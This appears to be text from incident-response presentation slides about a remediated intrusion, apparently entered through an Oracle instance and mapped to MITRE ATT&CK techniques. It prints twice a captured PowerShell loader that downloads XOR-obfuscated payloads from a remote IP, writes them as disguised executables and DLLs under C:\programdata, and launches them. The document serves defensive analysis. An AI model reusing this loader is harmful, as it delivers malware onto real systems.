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Case Study - Rapid Remediation 
Achieved
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Anatomy of the alert



5Anatomy of the alert



6Anatomy of the alert

“$key = 0x17,0x26,0x13,0x55,77,0x55,0x82,0x43,0x78;$a =(New-Object 
System.Net.WebClient);
$b = $a.DownloadData("http://8.6.193.166:443/2.txt");
$b[0]=77;$b[1]=90;
for($i=2; $i -lt $b.count;$i++){$b[$i] = $b[$i] -bxor $key[$i%$key.Count]};
[System.IO.File]::WriteAllBytes("C:\programdata\libcef.dll",$b);
$b = $a.DownloadData("http://8.6.193.166:443/1.txt");
$b[0]=77;$b[1]=90;
for($i=2; $i -lt $b.count;$i++){$b[$i] = $b[$i] -bxor $key[$i%$key.Count]};
[System.IO.File]::WriteAllBytes("C:\programdata\adobe.exe",$b);
$b = $a.DownloadData("http://8.6.193.166:443/flogs.log");
[System.IO.File]::WriteAllBytes("C:\programdata\flogs.log",$b);
C:\programdata\adobe.exe”

“.&.UwU.Cx”?

vultrusercontent.com, 
unsecured file server, 
files were not found 
during followup 
investigation
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$key = 0x17,0x26,0x13,0x55,77,0x55,0x82,0x43,0x78;$a =(New-Object 
System.Net.WebClient);
$b = $a.DownloadData("http://8.6.193.166:443/2.txt");
$b[0]=77;$b[1]=90;
for($i=2; $i -lt $b.count;$i++){$b[$i] = $b[$i] -bxor $key[$i%$key.Count]};
[System.IO.File]::WriteAllBytes("C:\programdata\glib-2.0.dll",$b);
$b = $a.DownloadData("http://8.6.193.166:443/1.txt");
$b[0]=77;$b[1]=90;
for($i=2; $i -lt $b.count;$i++){$b[$i] = $b[$i] -bxor $key[$i%$key.Count]};
[System.IO.File]::WriteAllBytes("C:\programdata\vmtoolsd.exe",$b);
$b = $a.DownloadData("http://8.6.193.166:443/bugs.log");
[System.IO.File]::WriteAllBytes("C:\programdata\bugs.log",$b);
C:\programdata\vmtoolsd.exe

“.&.UwU.Cx” again

Exact same files
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● T1190: Exploit Public-Facing Application - Oracle instance was apparently the vector for this attack

● T1087: Account Discovery, T1482: Domain Trust Discovery, T1083: File and Directory Discovery…

● T1608.002: Upload Tool, T1608.002: Upload Malware(?)

Attack Layers

Tactics: Initial Access(?), Discovery, Resource Development
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